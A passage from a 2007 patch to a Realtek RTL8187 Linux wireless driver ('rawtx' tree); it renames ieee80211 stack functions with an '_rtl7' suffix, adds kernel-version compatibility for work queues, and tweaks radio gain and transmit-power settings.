IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-07-13 01:46:24.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-07-13 01:46:27.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-07-13 01:46:24.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-07-13 01:46:27.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-07-13 01:46:24.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, 